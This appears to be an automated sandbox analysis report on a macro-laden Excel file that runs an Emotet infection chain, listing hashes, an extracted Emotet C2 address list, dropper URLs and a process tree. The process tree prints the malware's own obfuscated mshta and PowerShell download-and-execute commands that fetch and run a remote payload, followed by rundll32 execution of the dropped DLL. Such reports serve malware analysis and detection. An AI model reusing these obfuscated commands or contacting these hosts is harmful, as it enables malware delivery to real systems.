Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 05:58

General

  • Target

    a-1665150.xlsm

  • Size

    115KB

  • MD5

    88646a07a6dfa5ad4701c778b50707a4

  • SHA1

    c406856081490e6b55bfebf099d9541bc400ac77

  • SHA256

    1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90

  • SHA512

    85c65de8396b5c8ae7e7bfd9f088bb001fef5f339c32c139fd86cc7ac5c822b80cabc2f7eff102c94b1ab9bfbab69afe013836f4c5b305a26852075c4393e85c

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a-1665150.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:944
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:884
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:668
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:380
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1708
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1752
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1784
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1548
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kltuc\rsaa.say",LyeFnUtOzJn
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2024
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kltuc\rsaa.say",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:656

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/656-99-0x0000000000900000-0x0000000000928000-memory.dmp

      Filesize

      160KB

    • memory/656-116-0x0000000002A70000-0x0000000002A98000-memory.dmp

      Filesize

      160KB

    • memory/656-113-0x00000000028F0000-0x0000000002918000-memory.dmp

      Filesize

      160KB

    • memory/656-111-0x0000000002820000-0x0000000002848000-memory.dmp

      Filesize

      160KB

    • memory/656-109-0x0000000002770000-0x0000000002798000-memory.dmp

      Filesize

      160KB

    • memory/656-107-0x00000000026D0000-0x00000000026F8000-memory.dmp

      Filesize

      160KB

    • memory/656-105-0x00000000024E0000-0x0000000002508000-memory.dmp

      Filesize

      160KB

    • memory/656-101-0x0000000000970000-0x0000000000998000-memory.dmp

      Filesize

      160KB

    • memory/884-59-0x000007FEFBAB1000-0x000007FEFBAB3000-memory.dmp

      Filesize

      8KB

    • memory/944-56-0x0000000071381000-0x0000000071383000-memory.dmp

      Filesize

      8KB

    • memory/944-55-0x000000002F1E1000-0x000000002F1E4000-memory.dmp

      Filesize

      12KB

    • memory/944-58-0x0000000074EC1000-0x0000000074EC3000-memory.dmp

      Filesize

      8KB

    • memory/944-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1548-79-0x0000000000720000-0x0000000000748000-memory.dmp

      Filesize

      160KB

    • memory/1548-81-0x00000000007B0000-0x00000000007D8000-memory.dmp

      Filesize

      160KB

    • memory/1548-83-0x0000000001F80000-0x0000000001FA8000-memory.dmp

      Filesize

      160KB

    • memory/1548-92-0x00000000028D0000-0x00000000028F8000-memory.dmp

      Filesize

      160KB

    • memory/1548-89-0x00000000027B0000-0x00000000027D8000-memory.dmp

      Filesize

      160KB

    • memory/1548-87-0x0000000002610000-0x0000000002638000-memory.dmp

      Filesize

      160KB

    • memory/1708-65-0x00000000024F0000-0x000000000313A000-memory.dmp

      Filesize

      12.3MB

    • memory/1708-64-0x00000000024F0000-0x000000000313A000-memory.dmp

      Filesize

      12.3MB

    • memory/1784-72-0x00000000007D0000-0x00000000007F8000-memory.dmp

      Filesize

      160KB

    • memory/2024-94-0x0000000000290000-0x00000000002B8000-memory.dmp

      Filesize

      160KB